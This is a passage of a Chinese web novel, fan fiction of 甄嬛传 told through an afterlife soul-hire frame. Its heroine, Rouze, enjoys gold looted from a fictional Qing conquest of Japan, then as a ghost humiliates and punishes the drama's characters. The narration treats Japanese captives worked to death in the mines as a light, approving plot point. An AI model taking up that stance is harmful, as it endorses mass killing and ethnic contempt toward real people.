金矿的诱惑太大,甚至能叫从前互相看不顺眼的人握手言和。胤禛已经有年头没见过这么多,这么和谐的兄弟们了,一时间竟还有些不适应。 第266 章 柔则35 当研发不再是武器发展的阻碍,生产也只是时间上的问题。 作为一个并不服气老四上位的皇子,直郡王一门心思都在打仗上。 因着倭国在海上的小岛,允禔甚至主动跑去了福建水军处,既是练兵也是远离那个没有胤礽的朝堂。 用时三年,允禔,允?和允禵带兵出发倭国。 自然,师出有名。 福建沿海倭国商人对渔民百姓大打出手,大清再三警告无果,实行军事手段。泱泱大国尊严绝不许任何人侵犯。 这支军队的满人含量极高,要知道在屠杀这一块,满清可是前科累累。 如柔则预料中的那般,在如今实行幕藩体制的倭国反抗力完全在大清的可控制范围内,这一场夺回领土的战争,耗费时间最长的竟然是路程。 直郡王允禔在一年后写信回京的中心内容不再是对金子的热爱,而是这里三不五时的大小地动和贫瘠的土壤叫带去的老农咋舌。 第一批金子运回大清时,柔则如愿叫金匠打造了一张雕刻牡丹与凤凰的金床。 京城这边的享受允禔等人不知,但是这种以武力上绝对压制的胜利,叫他们对周边的藩国蠢蠢欲动。 但胤禛并不是个善战的帝王,再加上年纪大了,他更倾向于守城。 允?和允禵虽有些可惜,但他们自认年纪尚轻,只要熬死了老四,今后还不是海阔凭鱼跃。 只有允禔受伤的世界达成,不过他也并非满眼遗憾。 夺嫡失败,被圈禁,还能再有用武之地已是万幸之事。如今他也五十有八,即便老四有那份心,他也没法参与了。 “听闻倭国那边死的差不多了?” 柔则是皇后,胤禛朝堂上的事并不会刻意瞒着她。只是她事情也多,虽然大部分都会听上一耳朵,但都没往心里去。 只有倭国这事,柔则算是十分上心了。 胤禛年纪大了又如何,身为一国之君又如何,回到坤宁宫,该捏脚还是要捏脚,该按摩还是要按摩。 “是,挖矿本就是辛苦活儿,老大几个在那边没什么意思,抓了倭国人......消耗的大些。” 这话说的顺溜,但到了嘴边还是拐了个弯。在胤禛心里,柔则即便是怼天怼地,也是个柔弱的女子,允禔几个大老粗手段血腥了些,说出来未免叫自家皇后不痛快。 柔则瞥了一眼胤禛,算是承了他这番好意,毕竟即便说,也是模糊不清的。哪有系统出马清晰呢,三百六十度无死角拍摄,势必要做成册子,带到地府去找跨国部门展示一番才好。 “多打些金叶子来,简单耐看。” 柔则对金子的收集欲从来都没有变过,宝石虽美,但黄金流通性更高。 “知道你喜欢,我叫人给你打了些小玩意儿。” 这一批回京的金子还是允禔三人分赃过的,仍旧放满了国库和他的私库。 更别提信上所说,这只是其中一个金矿的量。 至于倭国到底有多少个金矿,现如今已经勘测出了五处,更遑论没有发现的。胤禛都不敢想,都挖回来,他会是多么快乐的皇帝。 柔则给了胤禛一个算你识趣的眼神。 胤禛刚想和柔则腻歪一会儿,外头苏培盛那不识趣儿的声音就响了起来。 “皇上,皇后娘娘,几位阿哥来请安了。” 经过胤禛的努力,后宫的阿哥终于排到了两位数。 这两年后宫确实很少传来孕信,大概是胤禛的质量太差了。 “进来吧。” 弘晖,弘昐,弘时和弘昕四个已经成婚出宫开府,平日里甚少和这些弟弟们一同过来,今日怕是没憋什么好屁。 果不其然,自己养了十几年的孩子还是很了解的,几个小的想要出宫看灯会,央到了四个哥哥面前。 “额娘,儿子会小心的。” 弘晖这么大了,仍旧是个撒娇嘤嘤怪,宜修有幸见过一次弘晖扒着柔则袖口腻腻歪歪喊额娘的样子,气的当场就溢了口血。 不过她仍旧坚强的活着,为的,是看着弘晖登上那个位置。 只是,她对弘晖的期待实在太过虚幻。且不说这十几个皇子的外家大多都不差。 单是宜修那脑子,也没法跟赫舍里氏几个世家贵女拼上一拼。 最重要的一点,宜修并不了解柔则。她以为柔则会让自己的儿子坐上那个位置,实则,柔则要的,只是永远高高在上的俯视任何一个人。 “谁想要出去,自己和你们额娘说清楚了。虽然身边的人手本宫给带的全乎,但意外可不是本宫能控制的。若是有个万一,敢来坤宁宫闹事的,可别怪本宫拿你们额娘脑袋当球踢了。” 底下站成一排的阿哥们齐齐点了点头,从高到低的排序看着还怪有喜感的。 “知道了皇额娘,放心吧,额娘也不敢来找皇额娘的事的。” 说话的是十阿哥弘晅,五岁的豆丁,雍正三年大选进宫的瓜尔佳文鸳的儿子。跟她额娘一样,脑子直,但生的漂亮。 这话得到了哥哥弟弟们的赞同,谁不知道皇额娘平日里大方但是个嫌麻烦的。就连皇阿玛都是乖乖巧巧的在皇额娘面前,底下的人巴结还来不及呢。 胤禛没有说话,看着儿子们心里头不知道在盘算什么。 “在想谁有资格继承你的皇位?” 柔则见胤禛久久不语,打发走了今后的劳动力,语气淡淡的问了一句。 “是啊,我自己的身子我自己也知道,没有皇阿玛硬朗,这么多年劳心劳力总有力不从心的时候。” 胤禛握着柔则的手,心里头颇为感慨。 他的宛宛就是这世上独一无二的女子,便是十年百年,都不能辜负。 “偏你平日里不听我的,日日在案牍前那么熬着,作贱坏了身子。” 胤禛勤政,就算有十三帮衬着,朝堂上的大臣也认他这个正统继位的皇上,他也事事想着亲力亲为。 “不说这些了。” 胤禛摆摆手,他总想证明自己配得上这个位置,而并非是靠着自己皇后的光。 “弘晖聪慧但为人过于顾及他人想法,弘昐弘时弘昕弘晅不够聪明。这几个皇子,唯有弘昦和弘昳最为合适,年龄也算的上撑的起场面。” 弘昦是定嫔赫舍里氏的儿子,弘昳是瑜妃瓜尔佳氏的儿子,两人学识出众能文能武,也算是柔则看着长大的,心性也可以说的上一句至纯至孝。 其实瑾妃的弘昻和敬嫔的弘昔也是文武双全,只是瑾妃心眼小,弘昔的性子有些绵软,被胤禛淘汰了下去。 柔则没有说话,靠在胤禛身上闭着眼睛。 胤禛也不在意,他继续说道:“瑜妃和定嫔也不算是糊涂的,两人家世显盛也算是相互掣肘,我写了圣旨,无论谁上位,若是对你不好,便拿着圣旨,换一个就是。” 虽然目前看来这些儿子们都算不错,但那是基于他这个老子还活着的时候。 至于他死后,若是露出本来面目,宛宛也不至于受了委屈。 柔则抬手掩了一下眼睛,很快就放了下去。 “若是真有那一日,你便在前头等着我。若我下去了没看见你,便托梦给弘晖,叫他把你私藏的百福的衣裳都扔了。” 胤禛失笑,揽着柔则的肩膀静静的坐着。 第267 章 柔则36 雍正十三年,胤禛在乾清宫驾崩。 柔则扶着已经自梳为姑姑的云筝的手僵硬的完成了所有流程,便病倒了。 弘昦是胤禛写在传位圣旨上的皇子,顺利在灵前登基。 尊嫡母柔则为母后皇太后,居慈宁宫。 尊生母定嫔赫舍里氏为圣母皇太后,居宁寿宫。 弘昦登基这一消息,刺激到了先帝的莞太嫔乌拉那拉氏。 柔则养病期间宫人不止一次拦住了宜修的求见,一直到月余,弘昦处理完了两朝交接的小小动荡,才得以踏入慈宁宫的大门。 “你,你竟然没有扶持弘晖登上那个位子!” 宜修干瘦的手颤抖的指着柔则,一双大眼睛带着浓烈的不甘心。她这些年的期待,这些年的精神支柱一下子土崩瓦解,她甚至都做上了弘晖接她入住慈宁宫的美梦。 云筝带人把宜修摁在原地,不叫她靠近柔则分毫。 “无论是谁,哀家的荣耀不会损失分毫。” 这慈宁宫是先帝下旨修缮的,一应物件都是按照柔则的喜好来布置。 更别提始终把给胤禛添堵为第一目标的允禟和允禵两人,往这慈宁宫里不知添了多少宝贝。 弘昦也是个聪明的,知道嫡母爱享乐,更是为着‘孝’这一字做足了面子。他生母赫舍里氏最是个拎得清的, 不至于在黄白之物上拖了儿子的后腿,落一个苛待嫡母的恶名。 宜修环顾四周,那被金钱堆砌而出的韵味果然是最好的补品。这么多年过去,她已经垂垂老矣霜染青丝,而嫡姐仍旧光彩照人。 “呵,呵呵,权柄下移,柔则你果然还是这般愚蠢!” 事到如今,宜修仍旧死守着自己那冥顽不灵的老旧思想不肯向前看。 “权柄下移?” 柔则手里把玩着一柄黄色缂丝凤栖梧桐团扇,这是弘晖特意寻来给她解闷的,也不知道这孩子怎么想的,在这要熏地龙的时节送了柄团扇。 “果然是姨娘教导出来的便宜货。” 说着,她轻轻摇了摇头,目中少见的带了悲悯。 宜修死死的咬着牙,目光里满是嫉恨:“难道是我不想当嫡女吗?若不是你那额娘,姨娘怎会沦为妾室!” “啧啧,瞧你,谎话说多了,竟连自己也骗了吗?” 随意的把这价值千金的团扇扔在桌子上,柔则支着脑袋看着宜修笑:“满洲正黄旗内大臣乌拉那拉费扬古,会娶你那五六品官小门小户出身的姨娘为正妻?宜修,你是蠢货吗?” 这柔柔利利的话语叫宜修几十年来被姨娘营造的‘真爱论’瞬间破碎,她看着柔则,不知道是在哭还是在笑。 “至于权柄。” 柔则手里捡起一根垒丝烧蓝镶红宝石蝶恋花纹金步摇晃了晃:“只要是哀家想要的,皇上他就得双手奉上。不止是皇上,你懂吗?宜修。” 宜修低着头,缓缓起身,挣脱了云筝的牵制,慢慢往外走去。 直到走到拐弯处,她回头看了一眼坐在太后宝座上的柔则:“嫡姐,你一开始,并没有想抱养我的弘晖,是不是?” 宜修不是不聪明,她只是很容易魔障。 “妹妹,成王败寇,怨不得别人。” 同样的话,柔则送给带了死志的宜修。 “成王败寇,若我有姐姐这般......” 柔则叹了口气:“你有什么都没用,宜修,你太蠢了。” 时至今日,宜修仍旧坚定的认为自己缺的是身份,是美貌。这样的人,不必去救。 宜修殁了,穿着入府时那身玫红色的衣裳,吞金自尽。 胤禛走之前把圆明园给了柔则,天儿热了就去园子里小住,愿意回宫了弘昦亲自去接着。不愿意回宫,弘昦就隔三差五的去请安,总之,只要给足了柔则尊贵,这位母后皇太后就不会找事。 弘晖也只知道自己是柔则的亲儿子,不仅和九叔允禟一起搜罗了大量的奇珍古玩,还寻了各地的厨子名伶给柔则养着。吃想吃的,玩儿想玩儿的。 园子里还有不少蒙军旗或汉军旗健硕的小伙儿表演摔跤等技艺,供柔则解闷。 这样的生活柔则过了快四十年,她一直是大清吃穿用度最好的人,就连身后事,都是用金子宝石堆砌起来的。陵寝虽然规制上低于帝王,但论价值,恐怕这大清的皇帝加起来,也不够柔则这里的宝贝多。 脱离柔则的身体,池烟慢悠悠的飘回到地府。 眼前的柔则几近透明,但那表情无疑是满意的。 “我很喜欢,多谢。” 柔则的技能可真不少,琴棋书画无一不精,如今融会贯通,便都属于池烟了。 看着后头排队的顾客们,池烟冲着九殿摆摆手立刻飞了出去。 这甄嬛传不愧是经久不衰的第五大名著,满坑满谷的人头竟是连猫啊鸟啊都有。 池烟虽然很喜欢毛绒绒的猫咪,但暂时能做人的话,还是想做人的。 然而就在她奔向快乐的欢乐场时,九殿突然上前拦住了她的去路。 “加班吗?” 这场景多么像牛马准备打卡下班时领导要开会的样子啊。池烟在人间飘荡多年,对这一幕深恶痛绝! “给钱。” 九殿对自己的员工很了解。 池烟忍了忍嘴角的弧度,还是开口讨价还价:“我都是鬼了,钱这个东西,我并不是很在乎。” “投胎名额,带记忆,带空间,死了可以继续当员工!” 这条件,池烟立刻往回走。 “走吧,什么活儿,你知道的,我爱上班。” 九殿立刻跟上:“你知道的,甄嬛传的活儿太多了,干不完,根本干不完,所以你加班一天投放到各个还未开发的小世界做个天幕,搅乱了进程,他们就会自动修复,来下面的顾客就能少一些。” 嗨,这不都是小事情,池烟十分乐意效劳。 “不过现在的节点只能随机出现,你先碰碰运气看看时间,然后再选择人物。” 这年头地府也真是与时俱进了,什么天幕啊,心声啊,头顶字幕啊也多的是,不过大多用于如懿传小世界。 你们也知道的,如懿传实在有些癫,靠人力真的癫不过癫婆。 池烟的小手轻轻划过那块光屏,眼前出现的场景赫然是甄嬛逼迫宜修系福袋的名场面。 “那我,当然要当柔则啦!虽然这个妹妹又蠢又坏,但好歹我也是刚从柔则角色出来的,情感还挺充沛。” 九殿点了点头,单独划开了一个房间给池烟发挥。 “去吧去吧,这一幕大概有十来个小世界可以看见,延缓一下地府的工作重量。” 啧,果然哪都不好混啊! (想写一个天幕小剧场,不是给他们看剧情,纯属女主埋汰人,谢谢,不喜可以略过。) 第268 章 柔则小剧场1 “臣妾多谢皇后成全,肯为臣妾亲手系上福袋。” 宜修和甄嬛两人各怀鬼胎,在没有皇上在场的画面中维持着表面上的平静。 “本宫是皇后,理应如此。” 实则宜修快要忍的吐血,明知道今日甄嬛强求是陷阱,也不得不碍于皇命踏入这泥沼。 “论理应当如此,可是论情,皇后应该很恨臣妾吧。” 柔则在上头看的津津有味,宜修这个没出息的玩意儿居然叫一个妾室压至如此不得脸面的地步,实在跌了她乌拉那拉柔则的份。 她面无表情的看下去,直到甄嬛流产,胧月喊出那句经典的“皇额娘她推了熹娘娘,她推了熹娘娘。” 不等胤禛发火,永寿宫上方出现一块巨大的旋涡。 “胤禛,这就是你答应的我,好好照顾我的妹妹宜修吗?” 骤然响起不属于在场任何一个人的声音,大家都惊在了原地。 只有宜修和皇上猛地站起身,看向那个黑压压的旋涡脸色中带了奇异的期待和欢喜。 “宛宛,宛宛是你吗?” 胤禛不由自主的上前一步,明明近在眼前的旋涡,却始终不得靠近。 甄嬛下意识的伸出手想要拉住皇上的衣袖,却从她手心里划过。 “姐姐?” 宜修呢喃,她嫉妒了一辈子,恨了一辈子的姐姐,突然冒出这样一句话,叫她眼泪不自主的流了出来。 旋涡闪啊闪,一阵刺眼的白光闪过,这永寿宫的屋顶像是破了个大洞,叫大家清楚的看到了天空上的那个风华绝代的女子。 “宛宛!宛宛真的是你!” 胤禛伸出手,似是想要抓住什么。 “宛宛?宛宛是谁?宛宛不是你床上躺着的那个替身吗?” 柔则冷冷一笑,视线扫过全场。 胤禛和甄嬛的面色带了难堪,而宜修则隐隐有些兴奋。 “宛宛,你听朕解释。” 他想说甄嬛并不是替身,宛宛在他心里是不能代替的。 可瞧着高高在上的人竖起一根手指放在唇边:“你做了什么,我看的一清二楚。” 说着,她挥了挥胳膊,系统营造的百花椅突然出现在柔则身后,众人眼瞧着这容色瑰丽气质清冷卓绝的女子置身其中,仿佛天上的花仙子一般,叫人流连忘返。 “胤禛,临终前我请求你照顾好我唯一的妹妹宜修,你便是这般做的?任由一个罪臣之女压在她的头上,使唤她,欺辱她,甚至,陷害她?” 宜修呆呆的看着天上的女子,她知道柔则知道是死于她这个庶妹之手,可嫡姐仍旧愿意为她做主。 “姐姐。” 宜修小声的呢喃被柔则捕捉,她嫌恶的看了一眼又老又憋屈的妹妹:“没用的蠢东西,连个下三滥的妾室都能踩到你头上,你简直丢尽了我乌拉那拉柔则的脸。” 胤禛和甄嬛的表情变的同款气愤,毕竟在失去过甄嬛后,胤禛已经察觉出自己的心意,再加上如今刚刚小产,胤禛对甄嬛的感情正浓。 柔则又是仙逝多年的原配,再好的感情也被消磨了不少光彩。 “熹贵妃姓钮钴禄氏,是满军上三旗后妃,柔则,你失言了。” 许是见皇上的心意偏至自己,甄嬛目中带了自己都没察觉出的得意。 “纯元皇后,臣妾自知身份低微,但能陪伴在皇上身侧便是妾身的福气。” 皇上回头,三两步坐到甄嬛床边,握着她的手深情唤了一声:“嬛嬛。” “哈哈哈,真是好一出大戏。钮钴禄氏?上三旗?什么脏的臭的也要往别人家里领,十弟,你瞧你四哥,是不是老糊涂了?” 十弟?胤禛皱着眉头看向天上。 只见旁边走出一个肃杀的身影,明明面容与那个胖墩墩的老十一模一样,却有着令人胆寒的气势。 这位就是柔则那个被拉去打日本的敦亲王允?。 他手持一柄长刀立在柔则身旁似是护卫也似是亲随。 “钮钴禄氏不收垃圾,老四你若是在明日之前没有把这丑东西从钮钴禄氏除名,爷就上至天听到皇阿玛处,剥了你的黄带子!” 局中人物不入轮回,这次加班也是特殊情况,柔则借了老十来用。其他人出现不得是因为,甄嬛传里,根本没有其他人。 “你!你跟皇阿玛在一起?” 胤禛不可思议的看着上头的两个人,允?明明作为谋反篡位的主谋被囚禁在了宗人府,怎么会出现在先帝身边。 “呵,也是多亏了四哥你呢!” 上头的允?阴阳怪气道:“若非你善恶不分,宠幸妖妃,祸乱爱新觉罗氏血统,大家的怨气也不至于被天帝所察觉。” 甄嬛突然拉住皇上的衣袖:“胡言乱语!臣妾瞧着他们怕是妖法所化,皇上,臣妾害怕。” 甄嬛太过急切了,她明显异于寻常的语速和语气叫胤禛有些警惕。 “呵呵,这位,嬛嬛一袅楚宫腰,没有学识卖弄学识,没有容貌卖弄容貌,没有能生的下来的孩子便陷害我的庶妹,生出一个小撒谎精污蔑当朝皇后。你真的以为,我出现在这里,还能叫你逃的过去吗?” “呜呜呜,胧月没有撒谎,没有撒谎!” 胧月瞬间又嚎哭了起来,敬贵妃搂着她不停的轻哄。 眼下局面属实在敬贵妃的认知范围外,上头那个又是皇上皇后亲口认证的纯元皇后。胧月到底有没有撒谎,她这个养母心里头有数。 “总有人用有限的认知来挑衅没有踏入过的领域。” 柔则手腕一转,一柄圆月形的桐花凤扇便被她捏在手里。 手执扇子轻轻一扇,宜修自进门和熹贵妃系福袋的场景,便完完全全还原在天空中的画面里。 众人眼睁睁的看着这神迹,对纯元皇后升仙的认知更为清晰。 有那好奇心较重的,偷偷在底下对比了仙子和熹贵妃的容貌。只觉得皇上也是瞎了眼了,明明仙子比熹贵妃漂亮的多。 只是眉眼处有些形似,哪里就能如痴如醉的宠了这么多年。还为了这么个赝品,辜负了仙子的妹妹。 “原是如此,原是如此!” 胤禛看着画面里的宜修双手无措的站在自己倒在地上的甄嬛的面前,眼眸中的冷意快要穿透了甄嬛的骨头。 “假的!那是假的!” 甄嬛不顾自己刚刚小产的身子,挣扎着起身跪在地上,她脸色苍白的抱着皇上的腿哭喊着,身子底下渐渐堆积了一小摊血渍。 胤禛的表情刚刚有所松动,柔则扇了扇扇子,画面换成了甄嬛和温实初商量着,怎么送走这个孩子。 “贱人!” 证据确凿,皇上推开甄嬛,面上带了些愧疚走到宜修身边。 “宜修。” 还不等宜修深情回望,柔则的声音再次在耳畔响起。 “你是什么不值钱的狗东西吗?为了一个妾室对你挥之即来,不相信你,甚至把你的脸送到妾室的鞋底,即便这样,他三言两语你就要凑上去吗?” 宜修猛然后退一步,这般下意识的行为她自己也很不理解。 她很爱皇上啊,她恨柔则啊,为什么要听嫡姐的话呢? 第269 章 柔则小剧场2 “宛宛,今日之事是朕莽撞了,但你走后,朕从未忘记你的话。” 柔则面无表情的摘下一朵盛放的玫瑰置于鼻尖轻嗅,她白皙的手指上竟有丝丝光彩折射,叫人不自觉的把眼神落在那里。 “找一个跟我相似的女人,让她享受本属于我的荣华富贵,踩着我妹妹的脸面给她做气势,这就是你说的从未忘记?” 胤禛急切的解释道:“朕并未......” “并未?” 柔则不耐烦听他狡辩。 “第一次侍寝时的夫妻论你并未反驳,便是你第一次允了她以妻子的身份踩在了我的脸面上。 椒房之宠应该属于哪个地位的人,胤禛,你身为爱新觉罗氏的儿子,是不懂规矩吗?” 胤禛张了张嘴,才反应过来自己不知不觉从最开始就纵容了甄嬛的大不敬。 “黄色的蜀锦玉鞋,汉军旗四品官之女也配吗?” 柔则每说一件事,都会把这场景置于天空。 胤禛的脸色越来越难看,他闭着眼睛,企图忽略这些失了智的所作所为。 “不愿为人替身?” 柔则嘲讽的看着甄嬛,眼底满是蔑视。 “那怎么还和十七在一起?” 甄嬛猛地睁大眼睛:“你说什么?” 柔则只是轻蔑的笑,她伸伸手,果郡王便身着寝衣出现在这里。 “皇兄?这是?” 果郡王不解的看着眼前的场景,虽然大家都不说话,但她们的眼神示意了果郡王的动作。 随着抬头,果郡王脱口而出:“宛宛!” “允礼!” 甄嬛没有控制住自己,她不能接受允礼也是把她当做替身,这太残忍了。 这一声允礼叫的所有人都回了头。 “宜修啊宜修,当初的滴血认亲局你也太蠢笨了些,这奸夫,不就近在眼前吗?” “哪里来的妖孽,竟敢污蔑王爷?!” 叶澜依第一时间跳出来,企图蒙混过关。 柔则却很讨厌这般没有礼貌的人。 “青梧!” 柔则突然提高了些声音,叫了一个完全陌生的名字。 还不等众人反应,永寿宫众人突然被十几个身手矫健的男子围住。 柔则手掌握着一块漆黑的令牌,虽然不是自小在康熙身边长大,但还是一眼就瞧出,这是先帝的物件。 这是康熙留给柔则的底牌,在甄嬛传里虽然未曾出现,但一代帝王的底蕴绝不是这个爹不疼娘不爱的老四能理解的。 “这位,没规矩的东西,给我处理了。” 青梧利索的把人扭住双臂带了下去,无声无息的解决后又回到原地站着。 “胤禛啊,你回头瞧瞧你那惠妃的女儿,跟你有哪点相似?这么大的后宫,你居然还能容纳一个奸夫,真让我失望。” 甄嬛从悲痛中回神,她爬到皇上脚边摇头:“不,别听她瞎说,眉姐姐气节风骨皇上是知道的,他绝不会如此。” “气节?风骨?你们姐妹二人也配得上这两个字?” 柔则啧啧两声摇了摇头。 沈眉庄哄着温实初喝了暖情酒的画面骤然出现。 胤禛跌坐在椅子上,整个人有些恍惚。 “为何?朕对她们还不够好吗?” 帝王的疑问没人能解释,众人跪在地上,唯有宜修依旧痴痴的看着天上的人。 “为什么要对她们好?” 柔则瞧他那没出息的样子就嫌弃。 “不过是妾室,最大的用处就是给皇后,给皇上生孩子,傲骨是她们配有的吗? 爱新觉罗胤禛,你信不信你现在下令凌迟甄远道一家和果郡王,你那好妾室一定会使出浑身解数讨好你,卑微的匍匐在你脚下祈求你。” 柔则的冷漠和残忍是胤禛第一次见到,他似是有些不认识眼前人了。 甄嬛不能叫天上的纯元皇后再继续说下去,她高声喊道:“纯元皇后,您难道不想报复害死您的凶手吗?我知道,是皇后,是皇后害了您!” 不同于宜修尘埃落定的坦然,柔则饶有兴致的把眼神放在了甄嬛身后的安陵容身上。 “安陵容,你倒是聪慧,可惜了。” 柔则摇了摇头,唤了声“青梧”。 “没有人可以欺负我的妹妹,除了我。” 青梧熟练的把安陵容带走,没有发出一点动静。 “至于你,算什么东西?” 柔则挥了挥手,叫青梧带人控制住了胤禛等人。 “我和宜修间,不过是成王败寇的结果。我只是不爱管家又不是傻子。宜修照顾我后身体一日不如一日我不知道吗?” 胤禛,宜修和甄嬛都愣在了原地。 “可看来你们都是又蠢又自作聪明的。” 柔则摇了摇头,实在觉得这些人的脑子与傻子没有什么区别。 “种了因得了果,下场自己担着,担不起的又要恼羞成怒埋怨别人手段阴狠的,那可真是没出息透了。” 柔则换了个姿势,挥了挥手,画面上是胤禛被甄嬛气死的场景。 “你瞧呀,你这个皇帝当的可真是窝囊。” 时不时的,柔则还要和身旁的允?点评两句,叫胤禛气的脑袋发懵。 突然,柔则的视线扫向那位皇贵妃。 “皇后尚在,立皇贵妃?这就是你照顾了我的妹妹?” 柔则突然的发难是齐月宾没有想到的。 “青梧,扒了她的头饰。” 说完,柔则不带感情的看着宜修:“我如果是你,便穿着皇后的朝服一头撞死在金銮殿上,叫他们这些狗男女遗臭万年!” 宜修突然觉得,这样的柔则才应该是大清的皇后。 “恨宜修?你算什么东西。” 不等齐月宾开口,柔则便扒了她的脸皮扔在地上。 “命令是乌雅氏下的,药是你端的,不敢恨那个毒杀亲子的狗男人,居然恨宜修?还用着和我交好的名号,打着为我报仇的念头想要拉下宜修?你配吗?” 齐月宾脸色青青白白,她这才明白过来,即使纯元和宜修斗的你死我活都是自家人的事,自己掺和了,便是逾矩。 “青梧,把弘晏灵犀和静和送去宗人府,什么脏的臭的也要往宫里头养。” 青梧带着人利索的执行命令,他们混迹在皇宫很久了,只认令牌不认人。 甄嬛阻拦不及,眼睁睁看着孩子被抱走。 “不要,不要。允礼允礼你快阻止他们,你阻止他们啊!” 十七被甄嬛哭的心慌意乱,他下意识看向上头的柔则。 “把果郡王带下去。” 据说他手里也有些先帝留下的人手,叫青梧一并收了。 柔则叫人架着甄嬛站了起来,上下打量一番:“假的成不了真的,既要真情又要荣华,你这吃相可真难看啊。” 她摆了摆手:“入了皇家便没有你挑拣男人的权利,认不清自己的人,就带着家人去死好了。” 看多了出轨导致的家庭破碎,柔则欣赏勇于挣脱泥沼的人,但不能接受自己制造泥沼。 这一下子永寿宫就空了一半。 “至于弘历,有那样一个满口谎言的额娘能有什么好,一并扒了黄带子赶出去。” 小心眼又自负,这个弘历自小没有接受过正统教育,没必要上位鱼肉百姓。 柔则说,青梧做,配合十分默契。 胤禛在底下坐着,不开口。 “胧月,小小年纪,和那个娘一样是个歪脖子,带去给嬷嬷管着。” 处理完了边角料,柔则看向胤禛。 “这么多年,你用一个妾室侮辱我,自此,咱们两个情分尽断。” “宛宛,宛宛朕......” 柔则却已经看向了宜修:“蠢货,立在你大清皇后之位好好的待着,再被妾室和胤禛压了脸面,我亲自带你走。” 说着,柔则的身影越来越淡,她看了看青梧:“看好这两个人,闹出来丢人现眼的动静了,你们也别活了。” 青梧很激动,总算要给这个乌烟瘴气又有病的紫禁城一点颜色看看了! 第270 章 瓜尔佳文鸳1 只是休息的时光总是转瞬即逝,池烟觉得自己刚躺没多久,就到了上班的时间。 是的,躺着。 虽然上头没人给她烧个大别墅下来住住,但好歹也是有铁饭碗的人,别小看咱们同胞和金子之间的牵绊,即使做了鬼,这小金条照样通用。 池烟用两根金条换了地府别墅区一栋大小合适,带花园的小别墅,里头家具齐全,十分舒服。 东拼西凑的去别的鬼那里换了一些手机平板等电子物件,刚点开一本霸道总裁狠狠爱,就接到了上班的通知。 看了眼自己空间不起眼的角落里空出来的几根金条的位置,今日的上工动力十足呢! 池烟到达工作岗位时,一道娇蛮又有点内虚外假的声音不讲理的往耳朵里钻。 “不行,本宫是可是满军旗瓜尔佳氏!凭什么跟甄嬛那个不三不四的女人交好!这个方案我不同意!” 视力过于优越,一张粉扑扑的小脸如剥了壳的荔枝一般软嫩,就连生气的样子都没什么威胁力,瞧着张牙舞爪的格外有趣。 是瓜六啊! 九殿一把把后头看热闹的池烟拽了出来:“还有一个,这个你看看呢!” 瓜尔佳文鸳好看是好看,但事也是真的多。 给家世完全改头换面的不行,和女主甄嬛联手不行,用高智商碾压全扬的不行,总之,同事们的提议都不行。 瓜尔佳文鸳一抬头,看着池烟瘪了瘪嘴:“那,这位姐姐打算怎么帮我?” 池烟心想,怎么帮?你要家世没家世,要智商没智商,要眼色没眼色,除了一张好看的脸蛋,基本上没有任何能拿的出手的。 “你也只能靠脸硬杀了。” 这真是实话,撒娇卖痴这一套是齐妃用过的了,皇上会喜欢,但不会有新鲜感,想要压过甄嬛,怕是行不通。 这般敷衍的语调竟是得了瓜尔佳文鸳的赞同。 “姐姐说的没错,我有这张脸,还需要什么旁的吗?” 其她同事看看池烟看看瓜尔佳文鸳,这种脑回路的人物她们拿捏不住,还是给别人吧。 九殿也大大的松了口气,要不说万般世界万般人呢,这一款瓜尔佳文鸳是她见过最不讲理也最不聪明的一个了。 “那就池烟来,其她鬼鬼跟我来,去下一个岗位。” 九殿带着鬼鬼们转身就走,没有丝毫犹豫。干净利落的,仿佛眼前的顾客是什么洪水猛兽。 “那你还有什么别的要求吗?” 池烟还是很敬业的,况且这任务也并不算难。 “把皇后,甄嬛,安陵容,沈眉庄通通踩在脚下!” 这些可以理解,池烟淡定的点了点头。 “还有龙凤胎!甄嬛那个小贱人才不配有祥瑞!” 池烟生无可恋的点了点头,这很瓜六。 “还有那个欣常在,她算个什么东西,投靠了甄嬛告我的状!” 瓜尔佳文鸳越说越激动,池烟听着,这整个后宫怕都是她的敌人吧? “对了,还有敬妃和端妃!我堂堂满军上三旗瓜尔佳氏,她们不交好也就算了,还帮着甄嬛那个贱人,哼!没眼光!” 好好好,悬着的心终于死了。这宫里她是一个看的上眼的都没有啊! “就这些了,姐姐。我的要求不多。” 不同于刚才的义愤填膺,现在的瓜尔佳文鸳看起来乖乖巧巧的,还有点可爱。 哈,哈哈,人无语的时候真的会笑。 “好的,你在这里等我,我去去就回。” 池烟深吸口气,转身就走。 “鸳儿今年刚十三岁,老爷这是急什么?” 意识恢复时,文鸳的耳朵第一时间捕捉到一道有些泼辣又爽利的声音。 “急什么?还能急什么!” 瓜尔佳鄂敏在堂屋里转着圈的走,皱着眉头满脸焦躁。 “本家那里自折了一个太子妃后便沉寂下来,他们底蕴深厚不打紧,咱们这一支本就不富裕。你老爷我如今被一个汉军旗的甄远道压在头上,你说,我还能急什么!” 原来这次的节点这么靠前,不仅雍正还没有登基,甚至康熙还有一年才走。 不过她这阿玛有几斤几两族里有数的很,出格的东西没必要闹出来。况且今后这位皇帝可不是什么有包容心的,能压住甄远道就好,其余的不必费劲。 “哼,一个小小的汉人居然压在咱们满人头上,即便咱们是安图瓜尔佳氏,也同是族亲。年节时达福阿穆巴还说女儿漂亮聪慧定有大造化的,怎么这时候就眼睁睁看着阿玛被那个甄什么的压着!” 瓜尔佳文鸳皱着脸,一副为自家阿玛鸣不平的样子。 “唉,族里的事也多,阿玛这点小事......” 这也是瓜尔佳鄂敏不满的地方,明明动动嘴就能换个前程的事,族里头愣是拖了这么久。 族亲:就你这德行,能拉扯到这个位置已经是我们努力后的结果了好吗? “正好文白姐姐给我下了帖子去骑马,哼,我要好好说两句达福阿穆巴的坏话!” 瓜尔佳文白是瓜尔佳达福的次女,嫁到了赫舍里氏做嫡次子的当家主母,日子那叫一个悠闲自在。 比在闺中约手帕交的频率还要高,主家提亲时还送了个马扬,除了比嫡长子官扬上的资源倾斜少些,其他的什么也不差。 瓜尔佳福晋是崔佳氏人,其母族并不算得力,最高官也不过正四品的通政副使。不过家里人脑子活泛,私下里有些挣钱的产业,日子比大多普通官员都要好过些。 她虽然不聪明,家世也不高,但漂亮,和当时没什么官职但英俊的瓜尔佳鄂敏算是绝配,只是没想到两口子的脑子都不够使,生了一个只有脸蛋没有脑子的嫡女。 “你也动动脑子,咱们家这些年虽然算不得显赫,但平平安安顺顺利利的不好吗?” 崔佳氏点着文鸳的脑门,眼睛看的却是一旁的鄂敏。 鄂敏白了崔佳氏一眼:“你想的也太简单了,文鸳总要嫁人的,咱们两个就不说了,下头的苏勒和阿林山也没什么长进。单凭几个赚钱的生意就能护住女儿和小辈们一辈子吗?” 